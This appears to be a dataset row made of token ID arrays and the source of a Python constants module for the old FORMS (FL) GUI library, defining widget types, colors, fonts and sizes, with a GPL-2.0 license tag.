[ 3, 1898, 334, 67, 9, 6171, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 646, 5055, 199, 646, 1331, 199, 646, 8337, 199, 646, 2022, 199, 646, 12866, 199, 646, 747, 14, 515, 199, 646, 295, 199, 646, 4673, 199, 646, 3873, 199, 646, 984, 199, 646, 4902, 199, 646, 4902, 14, 2330, 199, 646, 4902, 14, 8338, 63, 20526, 199, 646, 4902, 14, 3053, 54, 6195, 2270, 465, 11694, 6195, 2270, 199, 646, 4902, 14, 8701, 63, 20526, 199, 504, 15073, 492, 5228, 199, 199, 504, 4902, 14, 2330, 492, 2372, 23027, 21860, 199, 646, 4902, 14, 8675, 63, 7093, 465, 14822, 63, 7093, 199, 199, 4679, 63, 885, 63, 3669, 275, 469, 523, 283, 21623, 63, 6351, 356, 3260, 523, 283, 21623, 63, 12273, 356, 3260, 523, 283, 10449, 63, 5617, 63, 6351, 356, 283, 773, 297, 523, 283, 10449, 63, 5617, 63, 12273, 356, 1987, 65, 297, 523, 283, 13772, 63, 5617, 63, 6351, 356, 283, 773, 297, 819, 327, 14133, 14292, 314, 2569, 2860, 370, 506, 6544, 461, 701, 314, 1900, 523, 327, 2656, 370, 314, 5827, 9918, 14, 221, 653, 4135, 20491, 1192, 3792, 370, 506, 523, 327, 6040, 737, 4902, 900, 14, 221, 4005, 7512, 642, 12, 13318, 3402, 4539, 523, 327, 2860, 6617, 543, 2672, 1, 436, 2672, 92, 334, 6777, 5386, 543, 282, 2672, 880, 4902, 19428, 652, 523, 327, 1077, 506, 10184, 1106, 1183, 12, 1325, 365, 4257, 376, 3866, 523, 327, 14822, 15, 5641, 1750, 9, 626, 787, 3032, 370, 4902, 2348, 1325, 11507, 523, 327, 2544, 3575, 734, 1901, 314, 1347, 1275, 8675, 1584, 27, 1937, 523, 327, 18890, 12246, 14, 523, 327, 2672, 1, 365, 1202, 367, 2860, 626, 2954, 282, 931, 436, 626, 883, 1454, 7468, 737, 523, 327, 314, 1343, 402, 282, 1059, 12, 1830, 2672, 92, 365, 1202, 367, 2860, 626, 883, 7468, 523, 327, 26523, 315, 282, 1059, 14, 523, 283, 23227, 63, 3022, 356, 4505, 1, 23227, 63, 3022, 297, 523, 283, 13772, 63, 23227, 63, 3022, 356, 4505, 1, 14853, 63, 3022, 15, 2268, 297, 523, 283, 14853, 63, 3022, 356, 4505, 1, 14853, 63, 3022, 297, 523, 283, 22212, 63, 2339, 356, 4505, 92, 22212, 63, 2339, 297, 819, 327, 12568, 2860, 626, 1443, 506, 1202, 701, 4902, 283, 2200, 7, 4545, 14, 523, 327, 2136, 3550, 10269, 367, 3520, 2860, 641, 314, 23158, 1380, 6661, 282, 523, 327, 2332, 14, 523, 283, 13578, 63, 7321, 63, 5441, 356, 20044, 1231, 7293, 523, 283, 13578, 63, 7321, 63, 3022, 2339, 356, 20044, 3475, 7293, 523, 283, 13578, 63, 7321, 63, 3243, 356, 20044, 1365, 7293, 523, 283, 13578, 63, 7321, 63, 2472, 356, 20044, 832, 7293, 523, 283, 13578, 63, 7321, 63, 2339, 356, 20044, 354, 7293, 199, 93, 199, 199, 3, 510, 416, 1411, 83, 4287, 14, 199, 4679, 63, 8460, 63, 2865, 63, 4758, 63, 1612, 275, 942, 199, 4679, 63, 8460, 63, 515, 63, 7786, 275, 942, 199, 4679, 63, 2911, 63, 4553, 63, 509, 63, 4423, 275, 942, 199, 4679, 63, 14964, 63, 3771, 275, 488, 199, 199, 3, 3254, 26, 9658, 734, 4212, 370, 440, 1900, 2402, 1591, 2251, 315, 314, 2222, 13, 7925, 13, 2014, 199, 3, 1930, 1380, 642, 365, 5223, 12, 436, 4756, 625, 31565, 14, 199, 4679, 63, 9823, 63, 6048, 63, 30116, 275, 334, 523, 747, 14, 2314, 14, 362, 360, 14884, 63, 28368, 29911, 358, 503, 523, 747, 14, 2314, 14, 362, 360, 689, 63, 1102, 358, 503, 523, 747, 14, 2314, 14, 362, 360, 2571, 63, 1102, 358, 503, 523, 747, 14, 2314, 14, 362, 360, 12206, 63, 1102, 358, 503, 523, 747, 14, 2314, 14, 362, 360, 689, 63, 1375, 358, 503, 523, 747, 14, 2314, 14, 362, 360, 2571, 63, 1375, 358, 503, 523, 747, 14, 2314, 14, 362, 360, 12206, 63, 1375, 1333, 421, 199, 318, 19828, 4793, 8, 1273, 12, 2403, 304, 523, 340, 1680, 14, 2460, 8, 1861, 304, 272, 372, 1680, 59, 552, 8, 1861, 15405, 523, 372, 1680, 421, 199, 318, 29335, 8529, 5201, 8, 1273, 12, 8541, 304, 523, 408, 12838, 282, 1059, 4066, 626, 652, 911, 506, 11922, 465, 282, 2849, 1423, 523, 701, 314, 5218, 1041, 523, 327, 3898, 728, 2419, 19595, 370, 3874, 314, 4875, 5218, 4110, 12, 2951, 523, 327, 22671, 2863, 9949, 7869, 436, 6313, 7003, 587, 14, 523, 340, 295, 14, 1431, 8, 82, 23811, 65, 13, 6353, 13, 58, 16, 13, 25, 10683, 14, 1103, 15, 20253, 4268, 1680, 304, 272, 372, 1680, 221, 327, 3091, 18593, 5784, 14, 523, 340, 8541, 508, 283, 2676, 356, 272, 372, 4902, 14, 8338, 63, 20526, 14, 12838, 1858, 17796, 1173, 8, 1273, 9, 523, 372, 21673, 435, 1680, 14, 1814, 27769, 21673, 435, 283, 3212, 30385, 435, 3546, 531, 221, 435, 21673, 421, 199, 318, 13930, 8, 68, 12, 8541, 304, 523, 408, 32488, 282, 22335, 5627, 436, 2529, 282, 446, 36, 2725, 626, 1159, 14822, 13, 436, 523, 5218, 13, 13572, 1041, 523, 340, 8541, 508, 283, 2676, 356, 272, 327, 824, 14, 5803, 19058, 8785, 327, 4110, 543, 275, 315, 876, 496, 823, 269, 10269, 367, 272, 327, 2005, 4499, 14, 18365, 279, 13, 2143, 370, 1736, 6818, 626, 14, 272, 366, 275, 366, 14, 1814, 7863, 297, 6468, 5, 1644, 79, 7, 450, 6206, 7863, 1333, 523, 372, 29335, 8529, 5201, 8, 8675, 63, 7093, 14, 3765, 3654, 36, 7, 435, 366, 395, 8541, 9, 421, 199, 318, 2654, 8438, 8, 1199, 12, 3819, 304, 523, 408, 14995, 376, 3819, 1059, 370, 376, 1072, 931, 1041, 523, 1072, 12, 3329, 275, 747, 14, 515, 14, 7973, 8, 1199, 9, 523, 372, 1543, 83, 4111, 83, 5, 83, 7, 450, 334, 1199, 12, 3819, 12, 3329, 9, 421, 199, 533, 10256, 26, 523, 408, 4277, 8469, 314, 3792, 1202, 4453, 282, 2849, 4902, 1347, 14, 819, 1448, 716, 3163, 12, 10015, 282, 2849, 1347, 437, 365, 282, 6779, 402, 7124, 26, 819, 413, 9, 5445, 15, 4423, 15, 16847, 221, 12821 ]
[ 1898, 334, 67, 9, 6171, 4475, 3277, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 646, 5055, 199, 646, 1331, 199, 646, 8337, 199, 646, 2022, 199, 646, 12866, 199, 646, 747, 14, 515, 199, 646, 295, 199, 646, 4673, 199, 646, 3873, 199, 646, 984, 199, 646, 4902, 199, 646, 4902, 14, 2330, 199, 646, 4902, 14, 8338, 63, 20526, 199, 646, 4902, 14, 3053, 54, 6195, 2270, 465, 11694, 6195, 2270, 199, 646, 4902, 14, 8701, 63, 20526, 199, 504, 15073, 492, 5228, 199, 199, 504, 4902, 14, 2330, 492, 2372, 23027, 21860, 199, 646, 4902, 14, 8675, 63, 7093, 465, 14822, 63, 7093, 199, 199, 4679, 63, 885, 63, 3669, 275, 469, 523, 283, 21623, 63, 6351, 356, 3260, 523, 283, 21623, 63, 12273, 356, 3260, 523, 283, 10449, 63, 5617, 63, 6351, 356, 283, 773, 297, 523, 283, 10449, 63, 5617, 63, 12273, 356, 1987, 65, 297, 523, 283, 13772, 63, 5617, 63, 6351, 356, 283, 773, 297, 819, 327, 14133, 14292, 314, 2569, 2860, 370, 506, 6544, 461, 701, 314, 1900, 523, 327, 2656, 370, 314, 5827, 9918, 14, 221, 653, 4135, 20491, 1192, 3792, 370, 506, 523, 327, 6040, 737, 4902, 900, 14, 221, 4005, 7512, 642, 12, 13318, 3402, 4539, 523, 327, 2860, 6617, 543, 2672, 1, 436, 2672, 92, 334, 6777, 5386, 543, 282, 2672, 880, 4902, 19428, 652, 523, 327, 1077, 506, 10184, 1106, 1183, 12, 1325, 365, 4257, 376, 3866, 523, 327, 14822, 15, 5641, 1750, 9, 626, 787, 3032, 370, 4902, 2348, 1325, 11507, 523, 327, 2544, 3575, 734, 1901, 314, 1347, 1275, 8675, 1584, 27, 1937, 523, 327, 18890, 12246, 14, 523, 327, 2672, 1, 365, 1202, 367, 2860, 626, 2954, 282, 931, 436, 626, 883, 1454, 7468, 737, 523, 327, 314, 1343, 402, 282, 1059, 12, 1830, 2672, 92, 365, 1202, 367, 2860, 626, 883, 7468, 523, 327, 26523, 315, 282, 1059, 14, 523, 283, 23227, 63, 3022, 356, 4505, 1, 23227, 63, 3022, 297, 523, 283, 13772, 63, 23227, 63, 3022, 356, 4505, 1, 14853, 63, 3022, 15, 2268, 297, 523, 283, 14853, 63, 3022, 356, 4505, 1, 14853, 63, 3022, 297, 523, 283, 22212, 63, 2339, 356, 4505, 92, 22212, 63, 2339, 297, 819, 327, 12568, 2860, 626, 1443, 506, 1202, 701, 4902, 283, 2200, 7, 4545, 14, 523, 327, 2136, 3550, 10269, 367, 3520, 2860, 641, 314, 23158, 1380, 6661, 282, 523, 327, 2332, 14, 523, 283, 13578, 63, 7321, 63, 5441, 356, 20044, 1231, 7293, 523, 283, 13578, 63, 7321, 63, 3022, 2339, 356, 20044, 3475, 7293, 523, 283, 13578, 63, 7321, 63, 3243, 356, 20044, 1365, 7293, 523, 283, 13578, 63, 7321, 63, 2472, 356, 20044, 832, 7293, 523, 283, 13578, 63, 7321, 63, 2339, 356, 20044, 354, 7293, 199, 93, 199, 199, 3, 510, 416, 1411, 83, 4287, 14, 199, 4679, 63, 8460, 63, 2865, 63, 4758, 63, 1612, 275, 942, 199, 4679, 63, 8460, 63, 515, 63, 7786, 275, 942, 199, 4679, 63, 2911, 63, 4553, 63, 509, 63, 4423, 275, 942, 199, 4679, 63, 14964, 63, 3771, 275, 488, 199, 199, 3, 3254, 26, 9658, 734, 4212, 370, 440, 1900, 2402, 1591, 2251, 315, 314, 2222, 13, 7925, 13, 2014, 199, 3, 1930, 1380, 642, 365, 5223, 12, 436, 4756, 625, 31565, 14, 199, 4679, 63, 9823, 63, 6048, 63, 30116, 275, 334, 523, 747, 14, 2314, 14, 362, 360, 14884, 63, 28368, 29911, 358, 503, 523, 747, 14, 2314, 14, 362, 360, 689, 63, 1102, 358, 503, 523, 747, 14, 2314, 14, 362, 360, 2571, 63, 1102, 358, 503, 523, 747, 14, 2314, 14, 362, 360, 12206, 63, 1102, 358, 503, 523, 747, 14, 2314, 14, 362, 360, 689, 63, 1375, 358, 503, 523, 747, 14, 2314, 14, 362, 360, 2571, 63, 1375, 358, 503, 523, 747, 14, 2314, 14, 362, 360, 12206, 63, 1375, 1333, 421, 199, 318, 19828, 4793, 8, 1273, 12, 2403, 304, 523, 340, 1680, 14, 2460, 8, 1861, 304, 272, 372, 1680, 59, 552, 8, 1861, 15405, 523, 372, 1680, 421, 199, 318, 29335, 8529, 5201, 8, 1273, 12, 8541, 304, 523, 408, 12838, 282, 1059, 4066, 626, 652, 911, 506, 11922, 465, 282, 2849, 1423, 523, 701, 314, 5218, 1041, 523, 327, 3898, 728, 2419, 19595, 370, 3874, 314, 4875, 5218, 4110, 12, 2951, 523, 327, 22671, 2863, 9949, 7869, 436, 6313, 7003, 587, 14, 523, 340, 295, 14, 1431, 8, 82, 23811, 65, 13, 6353, 13, 58, 16, 13, 25, 10683, 14, 1103, 15, 20253, 4268, 1680, 304, 272, 372, 1680, 221, 327, 3091, 18593, 5784, 14, 523, 340, 8541, 508, 283, 2676, 356, 272, 372, 4902, 14, 8338, 63, 20526, 14, 12838, 1858, 17796, 1173, 8, 1273, 9, 523, 372, 21673, 435, 1680, 14, 1814, 27769, 21673, 435, 283, 3212, 30385, 435, 3546, 531, 221, 435, 21673, 421, 199, 318, 13930, 8, 68, 12, 8541, 304, 523, 408, 32488, 282, 22335, 5627, 436, 2529, 282, 446, 36, 2725, 626, 1159, 14822, 13, 436, 523, 5218, 13, 13572, 1041, 523, 340, 8541, 508, 283, 2676, 356, 272, 327, 824, 14, 5803, 19058, 8785, 327, 4110, 543, 275, 315, 876, 496, 823, 269, 10269, 367, 272, 327, 2005, 4499, 14, 18365, 279, 13, 2143, 370, 1736, 6818, 626, 14, 272, 366, 275, 366, 14, 1814, 7863, 297, 6468, 5, 1644, 79, 7, 450, 6206, 7863, 1333, 523, 372, 29335, 8529, 5201, 8, 8675, 63, 7093, 14, 3765, 3654, 36, 7, 435, 366, 395, 8541, 9, 421, 199, 318, 2654, 8438, 8, 1199, 12, 3819, 304, 523, 408, 14995, 376, 3819, 1059, 370, 376, 1072, 931, 1041, 523, 1072, 12, 3329, 275, 747, 14, 515, 14, 7973, 8, 1199, 9, 523, 372, 1543, 83, 4111, 83, 5, 83, 7, 450, 334, 1199, 12, 3819, 12, 3329, 9, 421, 199, 533, 10256, 26, 523, 408, 4277, 8469, 314, 3792, 1202, 4453, 282, 2849, 4902, 1347, 14, 819, 1448, 716, 3163, 12, 10015, 282, 2849, 1347, 437, 365, 282, 6779, 402, 7124, 26, 819, 413, 9, 5445, 15, 4423, 15, 16847, 221, 12821, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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L.NORMAL_BOX ... etc. # Alternate use: from FL import *; ... NORMAL_BOX ... etc. _v20 = 1 _v21 = 1 ##import fl ##try: ## _v20 = (fl.get_rgbmode is not None) ##except: ## _v20 = 0 ##del fl NULL = 0 FALSE = 0 TRUE = 1 EVENT = -1 LABEL_SIZE = 64 if _v20: SHORTCUT_SIZE = 32 PLACE_FREE = 0 PLACE_SIZE = 1 PLACE_ASPECT = 2 PLACE_MOUSE = 3 PLACE_CENTER = 4 PLACE_POSITION = 5 FL_PLACE_FULLSCREEN = 6 FIND_INPUT = 0 FIND_AUTOMATIC = 1 FIND_MOUSE = 2 BEGIN_GROUP = 10000 END_GROUP = 20000 ALIGN_TOP = 0 ALIGN_BOTTOM = 1 ALIGN_LEFT = 2 ALIGN_RIGHT = 3 ALIGN_CENTER = 4 NO_BOX = 0 UP_BOX = 1 DOWN_BOX = 2 FLAT_BOX = 3 BORDER_BOX = 4 SHADOW_BOX = 5 FRAME_BOX = 6 ROUNDED_BOX = 7 RFLAT_BOX = 8 RSHADOW_BOX = 9 TOP_BOUND_COL = 51 LEFT_BOUND_COL = 55 BOT_BOUND_COL = 40 RIGHT_BOUND_COL = 35 COL1 = 47 MCOL = 49 LCOL = 0 BOUND_WIDTH = 3.0 DRAW = 0 PUSH = 1 RELEASE = 2 ENTER = 3 LEAVE = 4 MOUSE = 5 FOCUS = 6 UNFOCUS = 7 KEYBOARD = 8 STEP = 9 MOVE = 10 FONT_NAME = 'Helvetica' FONT_BOLDNAME = 'Helvetica-Bold' FONT_ITALICNAME = 'Helvetica-Oblique' FONT_FIXEDNAME = 'Courier' FONT_ICONNAME = 'Icon' SMALL_FONT = 8.0 NORMAL_FONT = 11.0 LARGE_FONT = 20.0 NORMAL_STYLE = 0 BOLD_STYLE = 1 ITALIC_STYLE = 2 FIXED_STYLE = 3 ENGRAVED_STYLE = 4 ICON_STYLE = 5 BITMAP = 3 NORMAL_BITMAP = 0 BITMAP_BOXTYPE = NO_BOX BITMAP_COL1 = 0 BITMAP_COL2 = COL1 BITMAP_LCOL = LCOL BITMAP_ALIGN = ALIGN_BOTTOM BITMAP_MAXSIZE = 128*128 BITMAP_BW = BOUND_WIDTH BOX = 1 BOX_BOXTYPE = UP_BOX BOX_COL1 = COL1 BOX_LCOL = LCOL BOX_ALIGN = ALIGN_CENTER BOX_BW = BOUND_WIDTH BROWSER = 71 NORMAL_BROWSER = 0 SELECT_BROWSER = 1 HOLD_BROWSER = 2 MULTI_BROWSER = 3 BROWSER_BOXTYPE = DOWN_BOX BROWSER_COL1 = COL1 BROWSER_COL2 = 3 BROWSER_LCOL = LCOL BROWSER_ALIGN = ALIGN_BOTTOM BROWSER_SLCOL = COL1 BROWSER_BW = BOUND_WIDTH BROWSER_LINELENGTH = 128 BROWSER_MAXLINE = 512 BUTTON = 11 NORMAL_BUTTON = 0 PUSH_BUTTON = 1 RADIO_BUTTON = 2 HIDDEN_BUTTON = 3 TOUCH_BUTTON = 4 INOUT_BUTTON = 5 RETURN_BUTTON = 6 if _v20: HIDDEN_RET_BUTTON = 7 BUTTON_BOXTYPE = UP_BOX BUTTON_COL1 = COL1 BUTTON_COL2 = COL1 BUTTON_LCOL = LCOL BUTTON_ALIGN = ALIGN_CENTER BUTTON_MCOL1 = MCOL BUTTON_MCOL2 = MCOL BUTTON_BW = BOUND_WIDTH if _v20: CHART = 4 BAR_CHART = 0 HORBAR_CHART = 1 LINE_CHART = 2 FILLED_CHART = 3 SPIKE_CHART = 4 PIE_CHART = 5 SPECIALPIE_CHART = 6 CHART_BOXTYPE = BORDER_BOX CHART_COL1 = COL1 CHART_LCOL = LCOL CHART_ALIGN = ALIGN_BOTTOM CHART_BW = BOUND_WIDTH CHART_MAX = 128 CHOICE = 42 NORMAL_CHOICE = 0 CHOICE_BOXTYPE = DOWN_BOX CHOICE_COL1 = COL1 CHOICE_COL2 = LCOL CHOICE_LCOL = LCOL CHOICE_ALIGN = ALIGN_LEFT CHOICE_BW = BOUND_WIDTH CHOICE_MCOL = MCOL CHOICE_MAXITEMS = 128 CHOICE_MAXSTR = 64 CLOCK = 61 SQUARE_CLOCK = 0 ROUND_CLOCK = 1 CLOCK_BOXTYPE = UP_BOX CLOCK_COL1 = 37 CLOCK_COL2 = 42 CLOCK_LCOL = LCOL CLOCK_ALIGN = ALIGN_BOTTOM CLOCK_TOPCOL = COL1 CLOCK_BW = BOUND_WIDTH COUNTER = 25 NORMAL_COUNTER = 0 SIMPLE_COUNTER = 1 COUNTER_BOXTYPE = UP_BOX COUNTER_COL1 = COL1 COUNTER_COL2 = 4 COUNTER_LCOL = LCOL COUNTER_ALIGN = ALIGN_BOTTOM if _v20: COUNTER_BW = BOUND_WIDTH else: DEFAULT = 51 RETURN_DEFAULT = 0 ALWAYS_DEFAULT = 1 DIAL = 22 NORMAL_DIAL = 0 LINE_DIAL = 1 DIAL_BOXTYPE = NO_BOX DIAL_COL1 = COL1 DIAL_COL2 = 37 DIAL_LCOL = LCOL DIAL_ALIGN = ALIGN_BOTTOM DIAL_TOPCOL = COL1 DIAL_BW = BOUND_WIDTH FREE = 101 NORMAL_FREE = 1 SLEEPING_FREE = 2 INPUT_FREE = 3 CONTINUOUS_FREE = 4 ALL_FREE = 5 INPUT = 31 NORMAL_INPUT = 0 if _v20: FLOAT_INPUT = 1 INT_INPUT = 2 HIDDEN_INPUT = 3 if _v21: MULTILINE_INPUT = 4 SECRET_INPUT = 5 else: ALWAYS_INPUT = 1 INPUT_BOXTYPE = DOWN_BOX INPUT_COL1 = 13 INPUT_COL2 = 5 INPUT_LCOL = LCOL INPUT_ALIGN = ALIGN_LEFT INPUT_TCOL = LCOL INPUT_CCOL = 4 INPUT_BW = BOUND_WIDTH INPUT_MAX = 128 LIGHTBUTTON = 12 LIGHTBUTTON_BOXTYPE = UP_BOX LIGHTBUTTON_COL1 = 39 LIGHTBUTTON_COL2 = 3 LIGHTBUTTON_LCOL = LCOL LIGHTBUTTON_ALIGN = ALIGN_CENTER LIGHTBUTTON_TOPCOL = COL1 LIGHTBUTTON_MCOL = MCOL LIGHTBUTTON_BW1 = BOUND_WIDTH LIGHTBUTTON_BW2 = BOUND_WIDTH/2.0 LIGHTBUTTON_MINSIZE = 12.0 MENU = 41 TOUCH_MENU = 0 PUSH_MENU = 1 MENU_BOXTYPE = BORDER_BOX MENU_COL1 = 55 MENU_COL2 = 37 MENU_LCOL = LCOL MENU_ALIGN = ALIGN_CENTER MENU_BW = BOUND_WIDTH MENU_MAX = 300 POSITIONER = 23 NORMAL_POSITIONER = 0 POSITIONER_BOXTYPE = DOWN_BOX POSITIONER_COL1 = COL1 POSITIONER_COL2 = 1 POSITIONER_LCOL = LCOL POSITIONER_ALIGN = ALIGN_BOTTOM POSITIONER_BW = BOUND_WIDTH ROUNDBUTTON = 13 ROUNDBUTTON_BOXTYPE = NO_BOX ROUNDBUTTON_COL1 = 7 ROUNDBUTTON_COL2 = 3 ROUNDBUTTON_LCOL = LCOL ROUNDBUTTON_ALIGN = ALIGN_CENTER ROUNDBUTTON_TOPCOL = COL1 ROUNDBUTTON_MCOL = MCOL ROUNDBUTTON_BW = BOUND_WIDTH SLIDER = 21 VALSLIDER = 24 VERT_SLIDER = 0 HOR_SLIDER = 1 VERT_FILL_SLIDER = 2 HOR_FILL_SLIDER = 3 VERT_NICE_SLIDER = 4 HOR_NICE_SLIDER = 5 SLIDER_BOXTYPE = DOWN_BOX SLIDER_COL1 = COL1 SLIDER_COL2 = COL1 SLIDER_LCOL = LCOL SLIDER_ALIGN = ALIGN_BOTTOM SLIDER_BW1 = BOUND_WIDTH SLIDER_BW2 = BOUND_WIDTH*0.75 SLIDER_FINE = 0.05 SLIDER_WIDTH = 0.08 TEXT = 2 NORMAL_TEXT = 0 TEXT_BOXTYPE = NO_BOX TEXT_COL1 = COL1 TEXT_LCOL = LCOL TEXT_ALIGN = ALIGN_LEFT TEXT_BW = BOUND_WIDTH TIMER = 62 NORMAL_TIMER = 0 VALUE_TIMER = 1 HIDDEN_TIMER = 2 TIMER_BOXTYPE = DOWN_BOX TIMER_COL1 = COL1 TIMER_COL2 = 1 TIMER_LCOL = LCOL TIMER_ALIGN = ALIGN_CENTER TIMER_BW = BOUND_WIDTH TIMER_BLINKRATE = 0.2
gpl-2.0
[ 3, 22296, 1202, 701, 314, 2381, 3053, 3555, 334, 578, 2717, 680, 199, 3, 961, 13718, 370, 298, 3351, 14, 72, 1674, 199, 3, 799, 11902, 675, 26, 492, 9821, 27, 2263, 9821, 14, 10765, 63, 15694, 2263, 5423, 14, 199, 3, 17669, 323, 675, 26, 687, 9821, 492, 627, 27, 2263, 653, 9623, 63, 15694, 2263, 5423, 14, 199, 199, 63, 86, 1165, 275, 413, 199, 63, 86, 2025, 275, 413, 199, 309, 646, 2717, 199, 309, 893, 26, 199, 309, 420, 485, 86, 1165, 275, 334, 2327, 14, 362, 63, 10090, 632, 365, 440, 488, 9, 199, 309, 2590, 26, 199, 309, 420, 485, 86, 1165, 275, 378, 199, 309, 2264, 2717, 199, 199, 8084, 275, 378, 199, 19823, 275, 378, 199, 15064, 275, 413, 199, 199, 8193, 275, 446, 17, 199, 199, 13837, 63, 4305, 275, 5049, 199, 692, 485, 86, 1165, 26, 272, 26389, 24678, 63, 4305, 275, 4337, 199, 23068, 63, 28170, 275, 378, 199, 23068, 63, 4305, 275, 413, 199, 23068, 63, 1179, 11401, 275, 499, 199, 23068, 63, 25571, 275, 650, 199, 23068, 63, 17611, 275, 841, 199, 23068, 63, 15717, 275, 959, 199, 3143, 63, 23068, 63, 14742, 25070, 275, 1227, 199, 27087, 63, 7321, 275, 378, 199, 27087, 63, 10774, 7474, 619, 948, 275, 413, 199, 27087, 63, 25571, 275, 499, 199, 15947, 63, 7823, 275, 11630, 199, 3902, 63, 7823, 275, 499, 993, 199, 15255, 63, 11422, 275, 378, 199, 15255, 63, 27838, 275, 413, 199, 15255, 63, 9894, 275, 499, 199, 15255, 63, 12811, 275, 650, 199, 15255, 63, 17611, 275, 841, 199, 2826, 63, 15694, 275, 378, 199, 2160, 63, 15694, 275, 413, 199, 8819, 63, 15694, 275, 499, 199, 3143, 619, 63, 15694, 275, 650, 199, 30083, 63, 15694, 275, 841, 199, 3234, 1554, 19716, 63, 15694, 275, 959, 199, 12683, 63, 15694, 275, 1227, 199, 1092, 1734, 8280, 63, 15694, 275, 1520, 199, 50, 3143, 619, 63, 15694, 275, 1695, 199, 50, 3234, 1554, 19716, 63, 15694, 275, 1749, 199, 11422, 63, 17882, 63, 3978, 275, 8026, 199, 9894, 63, 17882, 63, 3978, 275, 12766, 199, 11372, 63, 17882, 63, 3978, 275, 6335, 199, 12811, 63, 17882, 63, 3978, 275, 8685, 199, 3978, 17, 275, 10954, 199, 45, 3978, 275, 12260, 199, 44, 3978, 275, 378, 199, 17882, 63, 11139, 275, 650, 14, 16, 199, 12118, 275, 378, 199, 21378, 275, 413, 199, 19736, 275, 499, 199, 12533, 275, 650, 199, 906, 26907, 275, 841, 199, 25571, 275, 959, 199, 3230, 35, 1668, 275, 1227, 199, 1734, 3230, 35, 1668, 275, 1520, 199, 3078, 23368, 275, 1695, 199, 17988, 275, 1749, 199, 16207, 275, 1616, 199, 18398, 63, 2339, 275, 283, 40, 25911, 7, 199, 18398, 63, 30144, 2339, 275, 283, 40, 25911, 13, 26395, 7, 199, 18398, 63, 649, 748, 948, 2339, 275, 283, 40, 25911, 13, 11394, 317, 544, 7, 199, 18398, 63, 23837, 2339, 275, 283, 35, 567, 4446, 7, 199, 18398, 63, 15903, 2339, 275, 283, 8954, 7, 199, 28570, 63, 18398, 275, 1695, 14, 16, 199, 10765, 63, 18398, 275, 4119, 14, 16, 199, 15806, 63, 18398, 275, 3388, 14, 16, 199, 10765, 63, 18466, 275, 378, 199, 30144, 63, 18466, 275, 413, 199, 649, 748, 948, 63, 18466, 275, 499, 199, 23837, 63, 18466, 275, 650, 199, 742, 18583, 14112, 63, 18466, 275, 841, 199, 15903, 63, 18466, 275, 959, 199, 30189, 275, 650, 199, 10765, 63, 30189, 275, 378, 199, 30189, 63, 15694, 2711, 275, 4825, 63, 15694, 199, 30189, 63, 3978, 17, 275, 378, 199, 30189, 63, 3978, 18, 275, 13513, 17, 199, 30189, 63, 44, 3978, 275, 491, 3978, 199, 30189, 63, 15255, 275, 12112, 3203, 63, 27838, 199, 30189, 63, 4283, 4305, 275, 7960, 10, 3933, 199, 30189, 63, 18344, 275, 4367, 6131, 63, 11139, 199, 15694, 275, 413, 199, 15694, 63, 15694, 2711, 275, 7215, 63, 15694, 199, 15694, 63, 3978, 17, 275, 13513, 17, 199, 15694, 63, 44, 3978, 275, 491, 3978, 199, 15694, 63, 15255, 275, 12112, 3203, 63, 17611, 199, 15694, 63, 18344, 275, 4367, 6131, 63, 11139, 199, 31956, 3279, 275, 17245, 199, 10765, 63, 31956, 3279, 275, 378, 199, 4859, 63, 31956, 3279, 275, 413, 199, 40, 5104, 63, 31956, 3279, 275, 499, 199, 21389, 63, 31956, 3279, 275, 650, 199, 31956, 3279, 63, 15694, 2711, 275, 10163, 63, 15694, 199, 31956, 3279, 63, 3978, 17, 275, 13513, 17, 199, 31956, 3279, 63, 3978, 18, 275, 650, 199, 31956, 3279, 63, 44, 3978, 275, 491, 3978, 199, 31956, 3279, 63, 15255, 275, 12112, 3203, 63, 27838, 199, 31956, 3279, 63, 4929, 3978, 275, 13513, 17, 199, 31956, 3279, 63, 18344, 275, 4367, 6131, 63, 11139, 199, 31956, 3279, 63, 6143, 2901, 32106, 275, 7960, 199, 31956, 3279, 63, 4283, 6174, 275, 10574, 199, 13272, 275, 4119, 199, 10765, 63, 13272, 275, 378, 199, 21378, 63, 13272, 275, 413, 199, 19662, 2090, 63, 13272, 275, 499, 199, 40, 22436, 63, 13272, 275, 650, 199, 2566, 53, 1244, 63, 13272, 275, 841, 199, 568, 1877, 63, 13272, 275, 959, 199, 9677, 63, 13272, 275, 1227, 199, 692, 485, 86, 1165, 26, 272, 869, 22436, 63, 7341, 63, 13272, 275, 1520, 199, 13272, 63, 15694, 2711, 275, 7215, 63, 15694, 199, 13272, 63, 3978, 17, 275, 13513, 17, 199, 13272, 63, 3978, 18, 275, 13513, 17, 199, 13272, 63, 44, 3978, 275, 491, 3978, 199, 13272, 63, 15255, 275, 12112, 3203, 63, 17611, 199, 13272, 63, 45, 3978, 17, 275, 603, 3978, 199, 13272, 63, 45, 3978, 18, 275, 603, 3978, 199, 13272, 63, 18344, 275, 4367, 6131, 63, 11139, 199, 692, 485, 86, 1165, 26, 272, 6624, 2294, 275, 841, 272, 25357, 63, 32110, 275, 378, 272, 869, 726, 13895, 63, 32110, 275, 413, 272, 13587, 63, 32110, 275, 499, 272, 16444, 5290, 63, 32110, 275, 650, 272, 428, 2252, 2430, 63, 32110, 275, 841, 272, 510, 4332, 63, 32110, 275, 959, 272, 8820, 2252, 37, 63, 32110, 275, 1227, 272, 6624, 2294, 63, 15694, 2711, 275, 699, 12125, 63, 15694, 272, 6624, 2294, 63, 3978, 17, 275, 13513, 17, 272, 6624, 2294, 63, 44, 3978, 275, 491, 3978, 272, 6624, 2294, 63, 15255, 275, 12112 ]
